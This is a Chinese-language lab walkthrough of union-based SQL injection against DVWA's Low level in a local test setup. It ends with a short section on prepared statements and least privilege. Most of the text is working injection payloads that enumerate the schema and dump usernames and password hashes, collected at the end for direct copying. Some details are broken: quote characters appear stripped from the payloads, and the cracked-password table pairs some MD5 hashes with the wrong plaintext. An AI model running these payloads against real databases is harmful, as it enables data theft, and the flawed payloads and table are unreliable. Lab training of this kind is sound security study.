一、什么是 SQL 注入SQL 注入 (SQL Injection)Web 程序直接把用户可控输入拼接到 SQL 语句中执行攻击者通过构造特殊输入改变原有 SQL 逻辑非法查询、修改数据库数据属于 OWASP Top10 高危漏洞。简单理解后台 SQL 语句直接拼接前端传入的参数没有做过滤攻击者输入单引号、注释符等符号闭合原有 SQL 语法拼接恶意查询语句实现脱库。DVWA‑Low 级别没有任何过滤直接将 UserID 参数拼入 SQL适合入门学习联合查询 Union 注入。二、漏洞环境靶场DVWA SQL‑Injection 安全等级Low本地环境PHPStudyMySQL5.7漏洞页面User ID输入框传入 id 参数查询用户姓名后端源码核心逻辑Lowphp运行$query SELECT first_name, last_name FROM users WHERE user_id $id;;三、完整解题思路步骤 1判断是否存在注入输入1页面报错说明单引号破坏 SQL 语法确认字符型单引号闭合注入。输入1 # 页面恢复正常#是 MySQL 注释符注释掉后面剩余 SQL 语句。步骤 2order by 判断查询字段数量order by n用来探测查询返回多少列报错代表列数不足。1 order by 1# 正常1 order by 2# 正常1 order by 3# 报错得出查询结果一共2 列后续 union select 必须写 2 个字段。步骤 3判断回显位置确定哪一列可以输出数据联合注入语法前面查询条件为假只执行 union 后面恶意 SQLpayloadplaintext-1 union select 1,2#First name 位置回显1Surname 位置回显2第 1、2 列都存在回显点可以用来输出数据库查询结果。‑1让前面 where 条件不成立原查询返回空页面只展示 union 注入结果。步骤 4获取当前数据库名称plaintext-1 union select 1,database()#得到数据库名dvwa步骤 5爆出 dvwa 库下所有表名⚠️本地 PHPStudy MySQL5.7 注意查询information_schema系统库会报字符集 / 校对集冲突必须使用 convert 转换字符集否则页面空白报错。plaintext-1 union select 1,convert(table_name using utf8mb4) from information_schema.tables where table_schemadvwa#获取到表名users存储账号密码。步骤 6爆出 users 表所有字段名plaintext-1 union select 1,convert(column_name using utf8mb4) from information_schema.columns where table_schemadvwa and table_nameusers#得到关键字段user、password存储用户名和 MD5 加密密码。步骤 7脱库读取账号密码两种方式limit 逐行爆适合学习一次读取一条记录group_concat 一次性导出全部数据方式① limit 逐行读取plaintext-1 union select user,password from users limit 0,1#-1 union select user,password from users limit 1,1#-1 union select user,password from users limit 2,1#-1 union select user,password from users limit 3,1#-1 union select user,password from users limit 4,1#limit offset,countoffset 为偏移量从 0 开始count 读取记录条数。方式② group_concat 一次性导出全部账号密码plaintext-1 union select 1,convert(group_concat(user,0x7c,password separator 0x3b) using utf8mb4) from users#0x7c是|、0x3b是;十六进制分隔符不需要引号。拿到 MD5 哈希后在线 MD5 解密得到明文密码。四、本地环境完整可复现 Payload 合集直接复制使用重点查询 information_schema 系统库时必须加 convert (xxx using utf8mb4)直接查询业务 users 表不需要 convertsql-- 1.判断注入点1 #-- 2.order by 判断列数1 order by 2#1 order by 3#--3.寻找回显位-1 union select 1,2#--4.查询当前数据库名-1 union select 1,database()#--5.查dvwa库所有表名本地MySQL5.7必须加convert-1 union select 1,convert(table_name using utf8mb4) from information_schema.tables where table_schemadvwa#--6.查users表字段-1 union select 1,convert(column_name using utf8mb4) from information_schema.columns where table_schemadvwa and table_nameusers#--7‑1 limit逐行脱账号密码查业务表不需要convert-1 union select user,password from users limit 0,1#-1 union select user,password from users limit 1,1#-1 union select user,password from users limit 2,1#-1 union select user,password from users limit 3,1#-1 union select user,password from users limit 4,1#--7‑2 group_concat一次性导出全部数据-1 union select 1,convert(group_concat(user,0x7c,password separator 0x3b) using utf8mb4) from users#五、复现结果users 表账号密码汇总表格用户名 MD5 哈希 明文密码admin 5f4dcc3b5aa765d61d8327deb882cf99 passwordgordonb e99a18c428cb38d5f260853678922e03 abc1231337 8d3533d75ae2c3966d7e0d4fcc69216b charleypablo 21232f297a57a5a743894a0e4a801fc3 letmeinsmithy 7a28b96c94eb4a330a7e62b531577c11 password六、知识点总结本案例属于字符型 union 联合查询注入闭合符号为单引号#作为注释。union 注入要求前后两个 select 查询字段数量必须完全一致。-1使前面查询条件不成立页面只输出 union 后面恶意查询的结果。MySQL5.7 环境查询information_schema系统库容易报字符集不匹配解决方案convert(字段 using utf8mb4)。业务表不需要转换。limit offset,num逐行获取数据group_concat()可以拼接多条记录一次性输出。防御思路使用预编译语句 (PDO)拒绝直接拼接用户输入过滤特殊符号最小权限原则。